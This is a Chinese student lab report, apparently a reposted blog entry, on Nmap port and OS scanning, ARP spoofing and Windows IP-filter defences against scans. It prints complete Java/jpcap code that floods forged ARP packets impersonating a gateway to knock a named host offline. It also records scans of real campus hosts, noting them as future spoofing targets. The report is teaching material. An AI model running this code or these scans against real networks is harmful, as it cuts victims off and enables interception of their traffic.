码迷,mamicode.com
首页 > 其他好文 > 详细

信息安全技术实验二 网络扫描实验+ARP攻击

时间:2016-10-23 21:20:15      阅读:288      评论:0      收藏:0      [点我收藏+]

标签:time   工具   远程   ret   管理   测试的   环境   windows平台   无线网卡   

一、实验目的及要求

1、 了解扫描技术的工作原理;
2、 加深对网络底层的理解;
3、 掌握常用扫描工具的基本用法;
4、 学习扫描器程序设计的基本方法。(以后再补充)

二、实验环境及相关情况(包含使用软件、实验设备、主要仪器及材料等)

1、实验设备:微型计算机;
2、软件系统:Windows 7操作系统,Nmap。

三、实验内容

1、 Windows平台下Nmap的安装。
2、 Windows平台下Nmap的使用。
3、 Windows平台下查看本地端口。
4、 端口扫描的防范。

四、实验步骤及结果(包含简要的实验步骤流程、结论陈述,可附页)

(零)其他知识准备

1、windows上查看本机ip配置信息:ipconfig

(1)点击”开始“—>”运行“,输入”cmd“,打开命令提示符窗口后,输入:ipconfig/all
如下图:
技术分享

2、windows上查看本机端口:netstat

(1)点击”开始“—>”运行“,输入”cmd“,打开命令提示符窗口后,输入:netstat
如下图:
技术分享
(2)参数详解
netstat 用于显示与IP 、TCP 、UDP 和ICMP 协议相关的统计数据,一般用于检验本机各端口的网络连接情况。
NETSTAT [-a] [-b] [-e] [-n] [-o] [-p proto] [-r] [-s] [-v] [interval],命令提示符窗口后,输入:netstat /?
技术分享
(3)例子说明
第一,打开命令提示符窗口后,输入:netstat -a,如下图:
技术分享

第二,拿一行出来解释:
技术分享
协议(Proto ):TCP ,指是传输层通讯协议
本地机器名(Local Address ):10.92.69.12,计算机名了,本地打开并用于连接的端口:1156
远程机器名(Foreign Address ): 如 112.90.78.141
远程端口: 8080
状态:ESTABLISHED

第三,补充:状态列表
LISTEN :在监听状态中。
ESTABLISHED :已建立联机的联机情况。
TIME_WAIT :该联机在目前已经是等待的状态。

(一)在windows平台上安装nmap

说明:本次试验本人主要是在windows命令提示符窗口完成,并没有使用到nmap的图形界面工具。

1、从nmap的官网下载namp的安装程序。

官网https://nmap.org/download.html
技术分享

2、安装namp程序

双击安装程序,执行安装,全部默认即可。windows平台下安装namp需要安装数据包捕捉库WinPacp,其作用是帮助其调用程序(如nmap和wireshark等)捕获通过网卡传输的原始数据。

3、测试是否安装成功

(1)安装完成后,点击”开始“—>”运行“,输入”cmd“,然后按回车键”Enter“,进入命令提示符窗口。输入命令:ipconfig/all
技术分享
找到网关IP:10.29.32.254

(2)输入以下命令:nmap -sA 10.29.32.254。表示对网关进行ACK扫描。结果如下:
技术分享
可以看出以下信息,
开始扫描的时间为:2016-10-18 09:17 中国标准时间
扫描的主机为:10.29.32.254
扫描的主机状态:up,开机
All 1000 scanned…… unfiltered …:表示有主机10.29.32.254上有1000个被扫描的端口没有防火墙和包被过滤软件来隔离nmap的探测扫描。
Mac地址为:00:1A:A9:15:49:07(这个信息很有用,以后便于我们可以使用arp攻击)
扫描所花的时间为:20.39 seconds
此时,可以判断,安装成功。

4、提高连接扫描的性能

(1)进入nmap的安装目录,如C:\Program Files (x86)\Nmap,找到nmap_performance.reg文件
技术分享
(2)双击打开nmap_performance.reg文件
技术分享
(3)按确定后,注册表添加成功。
技术分享

(二)在windows平台上使用nmap

1、用ping扫描方式探测主机

命令:nmap -sP 10.29.32.1-254。表示用ping扫描方式扫描该局域网中开放的主机。
(1)扫描第一次,结果如下:
技术分享
(2)扫描第二次,结果如下:
技术分享
(3)扫描第三次,结果如下:
技术分享
经过多次扫描(如果不怕麻烦,可以多扫描几次),可以得到以下主机的IP和mac地址信息
10.29.32.48 00:90:F5:F9:CC:A5
10.29.32.254 …….
10.29.32.17 …….
PS:知道了这些,以后可以对他们用arp欺骗攻击。

2、探测操作系统类型

命令:nmap -O ip地址。表示探测局域网中IP为10.29.32.48的主机。
(1)输入nmap -O 10.29.32.48,结果如图:
技术分享
可以看出,该主机的状态是down,但我们之前扫描的结果是up。所以推测一下,该主机上存在防火墙。用TCP/IP指纹特征扫描行不通。
(2)输入nmap -O 10.29.32.254,结果如图:
技术分享
可以看出以下信息:
主机状态:up
999个关闭的端口
开放的端口:只有一个。23/tcp open telnet。表示tcp协议,占用端口23,提供的是telnet服务。
Mac地址:00:1A:A9:15:49:07
操作系统:扫描不出确切的操作系统
。。。。
网络距离:Network Distance : 1 hop。表示只有1跳,即一个路由器。
扫描所花时间:33.60 seconds。
(3)输入nmap -O 10.29.32.17,结果如图:
技术分享
可以看出一下信息:
主机状态:up
989个被过滤的端口:filtered ports表示防火墙、包过滤和其他的网络安全软件(如360卫士)掩盖了该端口。
开放的端口:图中的“}”所示
Mac地址:2C:41:38:01:A8:00
操作系统:Microsoft Windows 7 或 Phone 或 Vista 或2008
。。。。
网络距离:Network Distance : 1 hop。表示只有1跳,即一个路由器。
扫描所花时间:26.38 seconds。
(4)补充:也可以用nmap去扫描一台linux主机,不过基本没用。因为linux的安全性较高,而且一般云主机都会有安全组策略,同时一般只开放少量的端口,如22、8080、3306这些。所以在这里就不测试。

3、TCP连接扫描(-sT表示TCP全连接扫描)

(1)输入nmap -sT 10.29.32.48,结果如图:
技术分享
可以看出,红线部分的信息:
占用5357端口/tcp协议,状态打开,提供Microsoft Windows WSDAPI服务
(2)输入nmap -sT 10.29.32.254,结果如图:
技术分享
可以看出,红线部分的信息:
占用23端口/tcp协议,状态打开,提供telnet服务
(3)输入nmap -sT 10.29.32.17,结果如图:
技术分享

4、TCP同步扫描(-sS表示TCP半开扫描,TCP SYN)

(1)输入nmap -sS 10.29.32.48,结果如图:
技术分享
可以看出,使用TCP半开扫描所用的时间为32.60s,与上面用TCP全连接扫描同一主机10.29.32.48所用的时间61.25s比较,可以发现TCP半开扫描比TCP全连接扫描快。
(2)输入nmap -sS 10.29.32.254,结果差不多,就不再做赘述了。
(3)输入nmap -sS 10.29.32.17,结果差不多,就不再做赘述了。

5、隐蔽扫描

(1)分别输入nmap -sF 10.29.32.48、nmap -sF 10.29.32.254、nmap -sF 10.29.32.17,结果如图:
技术分享
可以看出,使用FIN扫描方式未能发现目标主机开放的端口。
(2)分别输入nmap -sX 10.29.32.48、nmap -sX 10.29.32.254、nmap -sX 10.29.32.17,结果如图:
技术分享
可以看出,使用Xmas Tree扫描方式未能发现目标主机开放的端口。
(3)分别输入nmap -sN 10.29.32.48、nmap -sN 10.29.32.254、nmap -sN 10.29.32.17。结果略。

6、小结

通过以上5个试验,我们可以得到以下结论:使用TCP全连接扫描得到的信息较多较完整,但需要的时间较长;TCP半开扫描,即TCP SYN扫描得到的信息也较多,但需要的时间比TCP全连接扫描少;隐蔽扫描需要的时间少,但得到的信息也少。

(三)arp攻击

1、说明:

以上网络扫描属于被动的网络攻击,那么接下来给大家介绍一下主动的网络攻击:arp欺骗。首先声明,不要在宿舍或公共局域网里面随意使用该攻击,不然网管找上门就GG了。所以接下来我用手机、平板和笔记本电脑构成一个简单的局域网。手机开启网络热点,相当于一个网关,笔记本电脑和平板电脑连接,相当于该局域网络中的两台主机。如图所示:
技术分享

2、ARP简单介绍。补充:这些百度百科有,详细内容自行百度。我只把关键的内容标注出来。

地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。相关协议有RARP、代理ARP。NDP用于在IPv6中代替地址解析协议。
用本例简单来讲,就是笔记本电脑(攻击者)向平板电脑(被攻击者)发送假的arp应答报文,导致平板电脑的arp缓存表中IP地址对应的MAC地址错误,造成平板电脑发送给对应IP的主机的信息达不到。

查看arp缓存表的命令:arp -a。结果如下图
技术分享

3、ARP欺骗原理

地址解析协议是建立在网络中各个主机互相信任的基础上的,它的诞生使得网络能够更加高效的运行,但其本身也存在缺陷:
ARP地址转换表是依赖于计算机中高速缓冲存储器动态更新的,而高速缓冲存储器的更新是受到更新周期的限制的,只保存最近使用的地址的映射关系表项,这使得攻击者有了可乘之机,可以在高速缓冲存储器更新表项之前修改地址转换表,实现攻击。ARP请求为广播形式发送的,网络上的主机可以自主发送ARP应答消息,并且当其他主机收到应答报文时不会检测该报文的真实性就将其记录在本地的MAC地址转换表,这样攻击者就可以向目标主机发送伪ARP应答报文,从而篡改本地的MAC地址表。
ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目(即arp缓存表),造成网络中断或中间人攻击。
比如说:
攻击者向电脑A发送一个伪造的ARP响应,告诉电脑A:电脑B的IP地址192.168.0.2对应的MAC地址是00-aa-00-62-c6-03,电脑A信以为真,将这个对应关系写入自己的ARP缓存表中,以后发送数据时,将本应该发往电脑B的数据发送给了攻击者。同样的,攻击者向电脑B也发送一个伪造的ARP响应,告诉电脑B:电脑A的IP地址192.168.0.1对应的MAC地址是00-aa-00-62-c6-03,电脑B也会将数据发送给攻击者。
至此攻击者就控制了电脑A和电脑B之间的流量,他可以选择被动地监测流量,获取密码和其他涉密信息,也可以伪造数据,改变电脑A和电脑B之间的通信内容。

4、ARP欺骗的危害

ARP欺骗可以导致目标计算机与网关通信失败,更会导致通信重定向,所有的数据都会通过攻击者的机器,因此存在极大的安全隐患。

5、ARP报文格式(关键!!!)

技术分享

6、用Java实现arp攻击,欺骗局域网中的其它主机(重点、实践)

(1)安装Winpcap。搜索一下就能看到如何下载。由于安装nmap的时候已经一起安装了Winpcap,故这一步可以省略。
(2)将jpcap.dll复制到jdk的bin目录(说明:jpcap.dll和jpcap.jar都比较容易找到,注意一下32位的还是64位的即可,这里就不做赘述)
(3)将jpcap.jar包导入到项目
技术分享
(4)手机开启WLAN热点,笔记本电脑和平板电脑接入wifi。打开命令提示符窗口后,输入:ipconfig/all,DHCP服务器(即手机)分配给笔记本电脑的的网络配置。
技术分享
可以发现,该主机的网络配置信息为
被分配的IP为:192.168.43.69
子网掩码为:255.255.255.0
网关为:192.168.43.1
无线网卡的mac地址为:B8-EE-65-AA-D9-B9
(5)使用上面刚学到的nmap网络扫描,即打开命令提示符窗口后,输入:nmap -sP 192.168.43.1-254。结果如图:
技术分享
可以发现,该局域网有三台主机。各自的网络配置如下:
手机IP:192.168.43.1 手机MAC:24:1F:A0:07:F4:9D
平板电脑IP:192.168.43.244 平板电脑MAC:4C:FB:45:E2:3F:97
本机IP:192.168.43.69
(6)Java代码1:实现的是伪造并单播ARP请求包。
说明:本代码实现的是笔记本电脑作为攻击者,给平板电脑(被攻击者)发送arp请求报文,但报文中改变了真正的网关的IP-MAC的对应关系,将报文中真正的网关MAC地址换成了一个伪造的不存在的mac地址(当然也可以是笔记本电脑攻击者的MAC地址),这样就欺骗了平板电脑。只要程序一直在发送arp请求报文,则平板电脑会一直被欺骗,将本该发送给网关(手机)的数据包发送伪造的不存在的mac地址(或攻击者笔记本电脑),所以会导致断网或者网速很慢。

package arpAttack;

import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.Scanner;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;

/**
 * ARP应答协议报文
 * 
 * @author ding
 *
 */
public class ARPAttack {

    public static void main(String[] args) throws Exception {

        // 选择网卡
        NetworkInterface device = getNetworkInterface();
        // 打开网卡
        JpcapSender sender = JpcapSender.openDevice(device);
        // 构建ARP应答包
        ARPPacket arpPacket = createARPPacket();
        // 设置重发间隔时间,控制发包速度
        int time = 0;
        // 发送ARP应答包
        while (true) {
            System.out.println("sending arp..");
            sender.sendPacket(arpPacket);
            Thread.sleep(time * 100);
        }

    }

    public static ARPPacket createARPPacket() throws UnknownHostException {

        // 开始设置ARP包,即用于修改其他主机的ARP缓存表的ARP包
        ARPPacket arpPacket = new ARPPacket();
        // 硬件类型:选择以太网类型(Ethernet)。 补充知识:如果是以太网则硬件类型为则:0001 。
        arpPacket.hardtype = ARPPacket.HARDTYPE_ETHER;
        // 协议类型:选择IP网络协议类型 。补充知识:这里一般写的是:0800 表示IP类型,ARP是IP协议族中的一个。
        arpPacket.prototype = ARPPacket.PROTOTYPE_IP;
        // op为操作符:选择REPLY类型。补充知识:如果为1则为请求包;如果为2则为回应包。
        arpPacket.operation = ARPPacket.ARP_REQUEST;
        // 硬件地址长度:指的是MAC地址的长度,长度为6 单位是字节 。
        arpPacket.hlen = 6;
        // 协议地址长度:如果是IP4则这个值为4,单位是字节 。
        arpPacket.plen = 4;
        // 发送端MAC地址。由于是伪造的arp包,可以任意设置
        arpPacket.sender_hardaddr = toMacBytes("00-01-02-03-04-05");
        // 发送端协议地址(IP地址)。冒充该IP
        arpPacket.sender_protoaddr = toIpBytes("192.168.43.1");
        // 目的端MAC地址(待填充)。由于是伪造的arp包,可以任意设置
        arpPacket.target_hardaddr = toMacBytes("00-00-00-00-00-00");
        // 目的端协议地址(IP地址)。欺骗该IP
        arpPacket.target_protoaddr = toIpBytes("192.168.43.244");

        /** ----- ARP协议报文的 ------ **/
        // 设置DLC帧,即以太网帧。 或者说创建一个以太网头
        EthernetPacket ether = new EthernetPacket();
        // 以太网源地址: 是发出给ARP包的主机地址。
        // 本人测试的时候,需要是攻击者的真实的mac地址,这里为本机无线网卡的mac地址
        ether.src_mac = toMacBytes("B8-EE-65-AA-D9-B9");
        // 以太网目的地址,被攻击者真实的mac地址。或用广播地址:FF-FF-FF-FF-FF-FF
        ether.dst_mac = toMacBytes("4C-FB-45-E2-3F-97");
        // 选择以太网的包类型 。补充知识:用来表明上层协议的类型,如果是ARP协议的话就为:0806 。
        ether.frametype = EthernetPacket.ETHERTYPE_ARP;

        // 将以太网包首部添加到ARP包前
        arpPacket.datalink = ether;

        return arpPacket;
    }

    /**
     * 通过控制台选择网卡
     * 
     * @return
     */
    static NetworkInterface getNetworkInterface() {
        // 枚举网卡
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();
        for (int i = 0; i < devices.length; i++) {
            byte[] mac = devices[i].mac_address;
            System.out.println(i + ":" + 
            Integer.toHexString(mac[0]) + "-" + 
            Integer.toHexString(mac[1]) + "-" + 
            Integer.toHexString(mac[2]) + "-" + 
            Integer.toHexString(mac[3]) + "-" + 
            Integer.toHexString(mac[4]) + "-" + 
            Integer.toHexString(mac[5]));
        }
        // 控制台选择网卡
        System.out.println("请输入对应的数字选择网卡");
        Scanner sc = new Scanner(System.in);
        NetworkInterface device = devices[sc.nextInt()];
        sc.close();
        return device;
    }

    /**
     * 将ip字符类型转化为byte类型
     * 
     * @param ipString
     * @return
     * @throws UnknownHostException
     */
    static byte[] toIpBytes(String ipString) throws UnknownHostException {
        return InetAddress.getByName(ipString).getAddress();
    }

    /**
     * 将mac字符类型转化为byte类型
     * 
     * @param macStr
     * @return
     */
    static byte[] toMacBytes(String macStr) {
        byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
        String[] s1 = macStr.split("-");
        for (int x = 0; x < s1.length; x++) {
            mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);
        }
        return mac;
    }

}

补充:只是为了说明arp欺骗的原理,故该代码并没有考虑代码的健壮性和可复用性。大家可以自行解耦。
(7)运行代码后的结果:平板电脑断网或者网速很慢。如果int time = 0,则会断网。
而且打开wireshark抓取数据包时,会发现大量的ARP报文。如下图所示:
技术分享
在打开一个数据包来观察,如下图:
技术分享

(8)Java代码2:实现的是伪造并广播ARP请求包。有空再补充。
(9)Java代码3:实现的是伪造ARP包应答。有空再补充。

7、ARP攻击的局限性

ARP攻击仅能在以太网(局域网如:机房、内网、公司网络等)进行。
无法对外网(互联网、非本区域内的局域网)进行攻击。

(四)端口扫描的防范。

1、原理

一般而言,计算机所有对外开放的端口都存在潜在的危险。而一些系统必要的通讯端口(如80、8080)等一般不能关闭,但是,对于大部分端口,尤其是windows系统而言,我们可以关闭它们。因此,可以根据不同情况,采用各种方法对端口进行管理,从而减小安全风险。

2、方法1:关掉不需要的网络服务(以windows为例)

有些操作系统默认启动了一些服务,但对于部分用户而言,这些服务不是必要的。所以可以通过停止这些服务来禁止对此类端口的访问。步骤如下:
(1)“控制面板”—>”管理工具”—>”服务”
技术分享
(2)选择需要停止的服务,右击鼠标,在弹出栏菜单中单击“停止”即可。此方法较为简单了,所以在这里不做赘述。

3、方法2:设置IP筛选器(以windows为例)

当不能通过停止服务来关闭端口时,则可采用设置IP筛选器的方法。步骤如下:
(1)打开命令提示符窗口,输入secpol.msc。
技术分享
(2)打开了“本地安全策略”窗口,右击“IP 安全策略,在 本地计算机”,选择单击“创建IP安全策略(C)”。
技术分享
(3)点击“下一步”,修改名称,添加描述,再点击”下一步“。
技术分享
(4)根据情况决定要不要勾选“激活默认响应规则(仅限于windows的早期版本)”,本人是不勾选,然后点击”下一步“。
技术分享
(5)去掉勾选“编辑属性”,单击“完成”。
技术分享
(6)回到了本地安全策略的窗口,可以发现多了个刚刚新建的“辉哥的 IP 安全策略”。右击它,然后选择单击“属性”。
技术分享
(7)在弹出的“XXX IP 安全策略 属性”菜单中,去掉勾选“使用添加向导”,然后点击“添加(D)”
技术分享
(8)在弹出的“新规则 属性”菜单中,选择“IP筛选器列表”选项卡,然后点击“添加(D)”
技术分享
(9)在弹出的“IP筛选器列表”菜单中,修改名称,去掉勾选“使用添加向导”,然后单击“添加(D)”
技术分享
(10)在弹出的“IP筛选器 属性”菜单中,选择“地址”选项卡,按下图设置
技术分享
(11)选择“协议”选项卡,按下图设置,最后按“确定”
技术分享
(12)选中刚刚新建的IP筛选器,然后单击“确定”
技术分享
(13)回到“新规则 属性”菜单中,选择“筛选器操作”选项卡,去掉勾选“使用添加向导”,单击“添加”
技术分享
(14)在弹出的“新筛选器操作 属性”菜单中,安全方法设为“阻止”,然后“应用”—>“确定”。
技术分享
(15)回到“新规则 属性”菜单中的“筛选器操作”选项卡,选中刚刚新建的“新筛选器操作”,单击“应用”—>”确定”。
技术分享
(16)回到“新规则 属性”菜单中的“IP筛选器列表”选项卡,选中刚刚新建的“XXX 筛选器列表”,然后单击“应用”—>”确定”。
技术分享
(17)回到新建完成的“XXX IP 安全策略 属性”菜单中,选中刚刚新建完成的IP筛选器,然后单击“应用”—>”确定”。
技术分享
(18)回到了本地安全策略的窗口,右击“辉哥的 IP 安全策略”,然后选择单击“分配”。
技术分享
单击“分配”后,结果如下:
技术分享
(19)测试
A:没有分配前,即
技术分享
在另一台主机使用nmap扫描,发现135端口是开启的。(80端口是Http协议需要用到的端口,默认开启)
技术分享
B:分配后,即
技术分享
在另一台主机使用nmap扫描,发现135端口被过滤了。
技术分享
说明实验成功!
(20)使用“协商安全”和“与共享秘钥”的方法控制。
首先,在“新筛选器操作 属性”菜单中,安全方法设为“协商安全”,
技术分享
接着,在“编辑规则 属性”菜单中,选中“身份验证选项卡”,单击“添加”
技术分享
然后,设置“预共享秘钥”
技术分享
接着,再另一台电脑(即被网络扫描的目标主机)也做同样的设置。
最后,测试的时候发现,该端口仍然是直接被过滤了,并拥有同样的预设私钥并没有起作用。问题的原因仍在探索。

4、方法3:安装软件防火墙。

该方法较为容易,就不再做赘述。

五、实验总结(包括心得体会、问题回答及实验改进意见)

1、通过本次试验,理解了端口扫描器和漏洞扫描器的基本原理。
2、通过使用nmap此网络扫描器,用不同的方式进行扫描,并对所得到的数据进行分析,基本学会了该工具的使用,并且对端口扫描器和漏洞扫描器的基本原理的理解更深。
3、延伸学习了ARP攻击,将网络扫描这种被动攻击和ARP攻击这种主动攻击结合起来,针对主机的进行了脆弱性分析。
4、对信息技术安全有了更深刻的理解。

信息安全技术实验二 网络扫描实验+ARP攻击

标签:time   工具   远程   ret   管理   测试的   环境   windows平台   无线网卡   

原文地址:http://blog.csdn.net/qq_24891153/article/details/52769157

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!